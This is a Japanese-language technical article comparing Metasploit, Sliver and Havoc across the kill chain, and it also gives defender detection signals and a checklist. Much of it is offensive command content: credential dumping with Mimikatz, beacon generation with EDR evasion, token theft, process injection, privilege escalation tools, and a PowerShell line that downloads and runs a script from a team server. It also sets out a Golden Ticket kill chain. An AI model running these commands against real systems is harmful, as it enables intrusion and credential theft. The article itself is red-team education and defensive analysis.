要旨
「シェルを取ったら Metasploit を使えばいい」「C2 フレームワークは Sliver か Havoc どちらかで十分」——こうした認識で道具を選ぶと、EDR が存在する実環境のペネトレーションテストで必ずつまずきます。Metasploit・Sliver・Havoc は 「競合ツール」ではなく「キルチェーンの異なるフェーズを担う道具」 です。本記事では、3ツールのアーキテクチャ・用途・EDR 回避能力の違いを技術的に体系化し、「いつ何を使うか」の判断基準を示します。さらに、2025 年以降に APT グループによる実際の攻撃キャンペーンに Sliver・Havoc が使われている現実から、防衛側がとるべき検知アプローチも論じます。
記事本文
1. まず「C2 フレームワーク」と「エクスプロイトフレームワーク」を分けて考える
3 つのツールを比較する前に、根本的な分類を整理します。
ツールの分類:
エクスプロイトフレームワーク(Exploit Framework)
→ 脆弱性を「探して」「突いて」「シェルを取る」までが主目的
→ 例:Metasploit Framework
C2 フレームワーク(Command & Control Framework)
→ シェルを取った「その後」——永続化・横展開・データ窃取——が主目的
→ 例:Sliver、Havoc、Cobalt Strike
両方の側面を持つもの:
→ Metasploit には Meterpreter という C2 コンポーネントがある
→ ただし Meterpreter は「C2 専用フレームワーク」と比べると
ステルス性・耐検知性において大きく劣る
この分類を理解することが、3 ツールを正しく使い分けるための出発点です[1]。
2. キルチェーンにおける 3 ツールの位置づけ
3. 各ツールの基本プロフィール
Metasploit Framework
| 項目 | 内容 |
|---|---|
| 開発元 | H.D. Moore(2003年)→ 現在は Rapid7 が管理 |
| ライセンス | Community 版は無料・Pro 版は有料(年間 $15,000+) |
| 言語 | Ruby(フレームワーク本体) |
| エージェント | Meterpreter(C言語) |
| GitHub | rapid7/metasploit-framework |
Metasploit は「脆弱性データベース+エクスプロイトエンジン」として世界最大規模を誇ります[2]。
主なコンテンツ(2026年時点):
exploits 2,300+ (CVE ベースのエクスプロイトモジュール)
auxiliary 1,200+ (スキャン・クラッキング・ファジングなど)
post 400+ (ポストエクスプロイトモジュール)
payloads 700+ (シェルコード・Meterpreter 各種)
encoders 50+ (AV 回避エンコーダ)
Meterpreter の主な機能:
# Metasploit コンソールから Meterpreter セッションを開いた後
meterpreter > getuid # ユーザー確認
meterpreter > getsystem # 権限昇格を試みる
meterpreter > hashdump # SAM データベースからハッシュ取得
meterpreter > run post/multi/recon/local_exploit_suggester # PrivEsc候補列挙
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.10 # ポートフォワード
meterpreter > load kiwi # Mimikatz モジュールをロード
meterpreter > kiwi_cmd sekurlsa::logonpasswords
# ピボット(内部NWへの横展開)
meterpreter > run post/multi/manage/autoroute SUBNET=172.16.0.0 NETMASK=255.255.255.0
msf6 > use auxiliary/server/socks_proxy
Metasploit の弱点(なぜ本番で使いにくいのか):
EDR による検知率が極めて高い理由:
1. シグネチャが広く知られている
→ Meterpreter のバイナリシグネチャは
ほぼすべての AV / EDR に登録済み
→ エンコーダ(shikata_ga_nai 等)も検知済み
2. コネクションパターンが自明
→ デフォルトポート(4444)や
TCP リバースシェルの挙動がルール化されている
3. インメモリ実行でも検知される
→ Defender / CrowdStrike 等が
Meterpreter のメモリシグネチャを検知
4. NTDLLフックに対する抵抗力がない
→ EDR がフックした API を素直に呼び出すため
動作ベースの検知に引っかかる
Sliver
| 項目 | 内容 |
|---|---|
| 開発元 | Bishop Fox(オープンソース) |
| ライセンス | GNU GPLv3 |
| 言語 | Go(サーバー・エージェント共に) |
| エージェント | Implant(Session / Beacon モード) |
| GitHub | BishopFox/sliver |
Sliver は「クロスプラットフォームの現代的 C2 フレームワーク」です。Bishop Fox が 2019 年ごろから開発し、2025〜2026 年時点で APT29(Cozy Bear)を含む複数の国家支援グループがすでに実際の攻撃で採用していることが確認されています[3]。
Sliver のアーキテクチャ:
Sliver の構成要素:
┌─────────────────────────────────┐
│ Operators(マルチプレイヤー対応) │
│ sliver-client(CLI / GUI) │
└─────────────┬───────────────────┘
│ mTLS / gRPC
▼
┌─────────────────────────────────────────────────────────┐
│ Sliver Server │
│ BoltDB(永続化)/ Listeners / Outbound C2 │
│ 対応プロトコル:mTLS / HTTPS / DNS / WireGuard │
└──────────────────────┬──────────────────────────────────┘
│
▼
┌─────────────────────────────────┐
│ Sliver Implant │
│ ターゲットホストで動作するエージェント │
│ Session モード:常時接続(リアルタイム)│
│ Beacon モード :定期チェックイン(ステルス)│
└─────────────────────────────────┘
Sliver の主なコマンド:
# ─── リスナー(C2 受信エンドポイント)の起動 ───
sliver > mtls # mTLS リスナー起動
sliver > https # HTTPS リスナー
sliver > dns --domains example.com # DNS ビーコンのリスナー
sliver > wg # WireGuard リスナー
# ─── インプラント生成 ───
# Windows 向け mTLS ビーコン(基本形)
sliver > generate beacon \
--mtls 192.168.1.100:443 \
--os windows \
--arch amd64 \
--format exe \
--save /tmp/beacon.exe
# EDR 回避オプション付き(シェルコード形式)
sliver > generate \
--mtls 192.168.1.100:443 \
--os windows \
--format shellcode \
--evasion sgn,checkvm,sleep,ppid \
--save /tmp/evasive.bin
# Linux 向け WireGuard ビーコン
sliver > generate beacon \
--wg 192.168.1.100 \
--os linux \
--arch amd64 \
--format elf \
--save /tmp/wg_beacon
# macOS 向け DNS ビーコン
sliver > generate beacon \
--dns example.com \
--os darwin \
--arch arm64 \
--format macho
# ─── ビーコンをインタラクティブセッションに昇格 ───
sliver > use <beacon_id>
sliver (beacon) > interactive
# ─── ポストエクスプロイト ───
sliver (session) > whoami
sliver (session) > getprivs
sliver (session) > getsystem
sliver (session) > ps # プロセス一覧
sliver (session) > migrate --pid 1234 # プロセスインジェクション
sliver (session) > execute-assembly loader.exe # .NET アセンブリのインメモリ実行
sliver (session) > portfwd add -r 172.16.0.10:3389
Sliver の特徴的な検知回避技術:
1. バイナリごとの非対称暗号化
→ 生成するたびに異なる暗号鍵で動的コンパイル
→ ハッシュマッチングによる検知を無効化
2. Go ネイティブコンパイル
→ .NET / Reflective PE と比べて検知面が小さい
→ syscall を直接呼び出してフック済み API を回避
3. コンパイル時難読化(garble 互換)
→ 関数名・文字列の難読化でリバースエンジニアリングを困難に
4. DNS カナリー検知
→ Blue Team が DNS を監視している場合に通知する機能
→ 防衛側を「意識した設計」という逆説的な特徴
Havoc
| 項目 | 内容 |
|---|---|
| 開発元 | @C5pider(オープンソース) |
| ライセンス | GNU GPLv3 |
| 言語 | C / C++(サーバー・エージェント共に) |
| エージェント | Demon |
| GitHub | HavocFramework/Havoc |
Havoc は「Windows ターゲットに特化した高度 EDR 回避 C2 フレームワーク」です[4]。Cobalt Strike の代替として設計されており、特に CrowdStrike・SentinelOne・Defender for Endpoint といったモダン EDR が導入された環境でのオペレーションに強みを持ちます[1]。
Havoc の Demon エージェントが実装する回避技術:
Demon の EDR 回避メカニズム:
1. Sleep Obfuscation(スリープ難読化)
方式:Ekko または FOLIAGE アルゴリズム
効果:ビーコンのスリープ中にシェルコードをメモリから暗号化して
消去し、EDR のメモリスキャンを回避
2. x64 リターンアドレススプーフィング
効果:コールスタックの正規プロセスへの偽装
EDR がコールスタックを監視して不審なパターンを検知する
ロジックを無効化
3. Indirect Syscalls(間接システムコール)
効果:EDR フックが設定されている NTDLL の API を
直接呼び出さず、カーネルへの直接 syscall で回避
NtAllocateVirtualMemory・NtWriteVirtualMemory 等の
API フックをバイパス
4. リフレクティブローディング
効果:ディスクにファイルを書かず
メモリ上に直接ロード(ファイルシステム検知を回避)
5. SMB named pipe C2
効果:外部通信を使わず内部ネットワーク内での
SMB 経由のビーコン通信(ファイアウォールのアウトバウンド
検知を回避)
6. Token Vault(トークン金庫)
効果:窃取したアクセストークンを一元管理し
必要なタイミングで使い分け
Havoc の主なコマンド(Demon エージェント):
# ─── Havoc UI / コンソールでのコマンド ───
# 基本情報の確認
Demon > shell whoami
Demon > shell net user
Demon > shell ipconfig /all
# ポストエクスプロイト
Demon > token steal <PID> # トークン窃取
Demon > token list # トークン一覧(Token Vault)
Demon > inject <PID> <shellcode> # プロセスインジェクション
# 権限昇格
Demon > shell .\PrintSpoofer64.exe -i -c cmd # SeImpersonatePrivilege
Demon > shell .\GodPotato.exe -cmd "cmd.exe"
# 認証情報収集
Demon > inline-execute mimikatz.exe
Demon > shell powershell -c "IEX(IWR 'http://team-server/PowerView.ps1');Find-InterestingDomainAcl"
# ラテラルムーブメント
Demon > shell .\PsExec.exe \\192.168.1.20 cmd
Demon > pivot smb # SMB named pipe でピボット
# ファイル操作
Demon > download C:\Users\Administrator\Desktop\flag.txt
Demon > upload /tmp/tool.exe C:\Windows\Temp\
# スクリーンショット・キーロガー
Demon > screenshot
4. 3 ツールの機能比較一覧
| 観点 | Metasploit | Sliver | Havoc |
|---|---|---|---|
| 主な用途 | 脆弱性エクスプロイト | クロスプラットフォーム C2 | Windows 特化 C2 |
| エージェント | Meterpreter | Implant(Session/Beacon) | Demon |
| 実装言語 | Ruby(fw)/ C(agent) | Go | C / C++ |
| コスト | 無料(Community) | 無料(OSS) | 無料(OSS) |
| GUI | △(Armitage 等) | △(Sliver GUI 開発中) | ✓ |
| マルチオペレーター | △ | ✓(ネイティブ) | ✓ |
| 対応 OS(エージェント) | Win / Linux / Mac | Win / Linux / Mac | Windows 特化(Linux 対応あり) |
| C2 トランスポート | TCP / HTTP | mTLS / WireGuard / HTTPS / DNS | HTTP / HTTPS / SMB |
| 通信暗号化 | 基本的 | mTLS(証明書相互認証)/ WireGuard | カスタム暗号 |
| Sleep Obfuscation | ✗ | 限定的 | ✓(Ekko / FOLIAGE) |
| Indirect Syscalls | ✗ | ✗ | ✓ |
| スタックスプーフィング | ✗ | ✗ | ✓(x64 対応) |
| リフレクティブロード | △ | △ | ✓ |
| EDR 回避(総合) | 低 | 中 | 高(Windows) |
| エクスプロイトモジュール | ✓(2,300+) | ✗ | ✗ |
| 検知シグネチャの蓄積 | 非常に多い | 増加中 | 比較的少ない |
| 学習コスト | 低(ドキュメント豊富) | 中 | 中〜高 |
| 用途に合う場面 | 初期アクセス / CTF | 広範囲なオペレーション | 本番 EDR 環境での C2 |
5. 実際の攻撃キャンペーンでの使われ方——防衛側が把握すべき現実
2025 年以降、Sliver・Havoc は「レッドチームが使うツール」という枠を超え、実際の国家支援型 APT グループや犯罪グループが使用するツールとして頻繁に観測されています[3][5]。
実際の採用事例(2024〜2025年):
Sliver:
・APT29(Cozy Bear / ロシア)が Cobalt Strike から移行
・Ivanti ゼロデイ(CVE-2024-21887)の悪用後に展開
・ランサムウェアグループが攻撃インフラとして使用
・Microsoft・英国 NCSC が警告を発出
Havoc:
・Microsoft Defender for Endpoint の EDR を回避する
攻撃キャンペーンで複数の APT が採用
・Microsoft Graph API を C2 チャンネルとして
悪用するハイブリッド攻撃で使用
(正規の Microsoft クラウドトラフィックに紛れる)
・2025 年のランサムウェアキャンペーンで観測
Metasploit:
・依然として広く使われるが、主に初期侵害・CTF・
ペンテストの「発見フェーズ」に限定されつつある
・エクスプロイトコードの雛形・概念実証として活用
攻撃者は Cobalt Strike・Metasploit から Sliver・Havoc・Brute Ratel C4 などのモジュール型・オープンソース型フレームワークへの移行を続けており、防衛チームは従来のフレームワークを超えて検知カバレッジを拡大する必要があります。
6. 防衛側の視点——各ツールの検知シグナル
Metasploit の検知
Metasploit / Meterpreter の主な検知手法:
シグネチャベース検知(最も容易):
→ すべての主要 AV / EDR がシグネチャを保持
→ YARA ルール:Meterpreter の固定バイト列
→ VirusTotal 検知率:90%+ (エンコードなし)
ネットワーク検知:
→ デフォルトポート 4444 の TCP リバースシェル
→ シグネチャが既知の TLS 証明書(JARMスキャン)
→ 規則的な通信間隔(チェックイン)
メモリ検知:
→ インメモリの Meterpreter DLL のパターン
→ NtAllocateVirtualMemory → NtWriteVirtualMemory →
NtCreateThreadEx の API 呼び出し連鎖
Event ID での追跡:
→ 4688(プロセス生成)でシェルを起動した親プロセス
→ Sysmon Event ID 7(DLL ロード)でリフレクティブ DLL
→ Sysmon Event ID 8(RemoteThread)でインジェクション
Sliver の検知
Sliver の検知手法:
ネットワーク検知:
→ WireGuard の予期しないトラフィック
→ mTLS での自己署名証明書("multiplayer/operators" 等の固定 CN)
→ 非標準ポート上の TLS(例:31337)
→ DNS ビーコンの特徴的なクエリパターン(長い乱数サブドメイン)
メモリ / プロセス検知:
→ Go ランタイムの特徴(goroutine スタックパターン)
→ メモリ上の "sliverpb" プロトバフのシグネチャ
→ Garble 難読化なしビルドでは関数名が可視
ファイルシステム検知:
→ Go バイナリ特有のファイルサイズ(~10MB+)
→ PE ヘッダーの Go 関連エントリ
Havoc の検知
Havoc の検知手法(より困難):
ネットワーク検知:
→ カスタム暗号化により通信内容の解析は困難
→ Microsoft Graph API を C2 として悪用する場合
正規の microsoft.com との区別が難しい
→ C2 プロファイルのカスタマイズで User-Agent や
URI パターンを偽装されると検知が特に難しい
メモリ検知(最も有効):
→ Sleep Obfuscation 中もメモリ整合性チェックで
暗号化→復号のパターンを検知(Moneta / Pe-sieve)
→ Ekko / FOLIAGE のタイマーコールバックの特徴パターン
→ カーネルのコールスタック検証(ETW-Ti)
行動検知:
→ Indirect Syscalls のパターン
(呼び出し元が ntdll.dll でない syscall)
→ リターンアドレスが ntdll.dll を指さない
プロセス内コールスタックの異常
→ Token Vault の impersonation 操作
SIEM / EDR での検知ルール例(Sigma):
→ "NtAllocateVirtualMemory called from outside ntdll"
→ "ROP-like call chain detected in process memory"
→ "Self-signed TLS cert with unusual CN pattern"
7. 使い分けの実践——OSCP 試験・実務での判断基準
シナリオ別の推奨ツール:
CTF / OSCP(ペンテスト試験):
推奨:Metasploit(エクスプロイト)+ Meterpreter(C2)
理由:EDR がない環境がほとんど
Metasploit の豊富なモジュールが最速
OSCP は Metasploit の限定的な使用を許可
実務ペネトレーションテスト(EDR なし環境):
推奨:Metasploit(エクスプロイト)→ Sliver(C2 に移行)
理由:初期アクセスは Metasploit の資産を活用
C2 は Sliver で安定・マルチオペレーター運用
実務ペネトレーションテスト(EDR あり・Windows):
推奨:Metasploit(エクスプロイト)→ Havoc Demon(C2)
理由:Meterpreter は EDR に即検知されるため
シェル取得後は即 Havoc の Demon に移行
Sleep Obfuscation・Indirect Syscalls で長期潜伏
Red Team 演習(APT エミュレーション):
推奨:Sliver(広域・マルチプラットフォーム)+
Havoc(Windows 高価値ターゲット)を組み合わせ
理由:APT グループが実際に採用しているツールチェーン
典型的なキルチェーン例(本番 Windows 環境):
1. Metasploit で VPN 製品の CVE を突いて初期侵入
2. 取得したシェルで Havoc Demon のシェルコードをドロップ
3. Demon を使って内部偵察(Impacket / BloodHound)
4. DCSync で KRBTGT ハッシュを取得
5. Golden Ticket で DC を制圧
8. 防衛チェックリスト
【Metasploit / Meterpreter の検知】
□ AV / EDR の Meterpreter シグネチャが最新状態か確認しているか
□ 4444 番ポートへのアウトバウンド TCP をブロックしているか
□ Sysmon Event ID 8(RemoteThread)の異常を SIEM で監視しているか
【Sliver の検知】
□ 非標準ポート上の TLS 通信(31337 等)を監視しているか
□ DNS ビーコンのクエリパターン(異常に長いサブドメイン)を検知しているか
□ Go バイナリの異常なプロセス起動を EDR で検知しているか
□ JARM スキャンで C2 サーバーの TLS フィンガープリントを確認しているか
【Havoc の検知】
□ ntdll.dll の外部から発生する syscall を検知するルールがあるか
□ 異常なコールスタック(ROP チェーン様パターン)を監視しているか
□ Moneta / Pe-sieve 等のメモリスキャナーを運用しているか
□ Microsoft Graph API への異常なアクセスパターンを監視しているか
□ ETW(Event Tracing for Windows)の TI(Threat Intelligence)を有効化しているか
【共通】
□ C2 インフラのリダイレクター(CDN・クラウドプロキシ)を
通じた通信に対するドメインフロンティング検知があるか
□ 定期的に Mermaid / MITRE ATT&CK Navigator でカバレッジギャップを確認しているか
□ 攻撃者の最新ツール採用動向(APT29 の Sliver 移行等)を
脅威インテリジェンスで追跡しているか
参考文献
[1] Redfox Cybersecurity. "Havoc C2 Framework: Red Team Guide to Setup, Commands, and Tradecraft." August 4, 2025.
https://www.redfoxsec.com/blog/havoc-c2-framework-a-red-teamers-complete-guide-to-setup-commands-and-tradecraft
[2] Vectra AI. "What is Metasploit? Framework, Meterpreter, and detection guide." February 9, 2026.
https://www.vectra.ai/topics/metasploit
[3] WizardCyber. "From Red Team Toy to Real-World C2: Hunting Sliver with Microsoft Defender XDR & Sentinel." January 30, 2026.
https://wizardcyber.com/hunting-sliver-c2-defender-xdr-sentinel/
[4] InfoSecStuff. "C2 Frameworks That Dominate the Underground." December 10, 2025.
https://infosecstuff.com/c2-frameworks-that-dominate-the-underground/
[5] AlphaHunt. "Modular C2 Frameworks Quietly Redefine Threat Operations for 2025-2026." October 21, 2025.
https://blog.alphahunt.io/modular-c2-frameworks-quietly-redefine-threat-operations-for-2025-2026/
[6] Bishop Fox. "Sliver — Official GitHub." BishopFox/sliver.
https://github.com/BishopFox/sliver
[7] HavocFramework. "Havoc — Official GitHub." HavocFramework/Havoc.
https://github.com/HavocFramework/Havoc
[8] RingSafe Academy. "C2 Frameworks — Cobalt Strike, Sliver, Havoc." April 29, 2026.
https://ringsafe.in/academy-redteam-c2/
[9] Medium(Maverick). "Sliver C2 Deep Dive: A Comprehensive Command & Control Framework Series." March 16, 2026.
https://medium.com/@maverickcx64/sliver-c2-deep-dive-a-comprehensive-command-control-framework-series-4f8ba55f7a45
[10] TechRepublic. "Sliver offensive security framework increasingly used by threat actors." November 11, 2022.
https://www.techrepublic.com/article/sliver-offensive-security-framework-increasingly-used-by-threat-actors/
[11] Corelight. "New Sliver C2 Detection Released." May 4, 2023.
https://corelight.com/blog/new-sliver-c2-detection-released-redteam-detected
[12] Bishop Fox. "Top Red Team Tools & C2 Frameworks for 2025." June 5, 2025.
https://bishopfox.com/blog/2025-red-team-tools-c2-frameworks-active-directory-network-exploitation
[13] Medium(Lord Murak). "Sliver C2 for Red team operations." January 8, 2026.
https://medium.com/@lord_murak/sliver-c2-for-red-team-operations-153135648218
[14] Hackers Arise. "Sliver: Building Command and Control (C2) During a Cyber War — Sessions, Beacons, and Implant Fundamentals." July 17, 2025.
https://hackers-arise.com/sliver-building-command-and-controlc2-during-a-cyb/
[15] Rapid7. "Metasploit Framework — Official GitHub." rapid7/metasploit-framework.
https://github.com/rapid7/metasploit-framework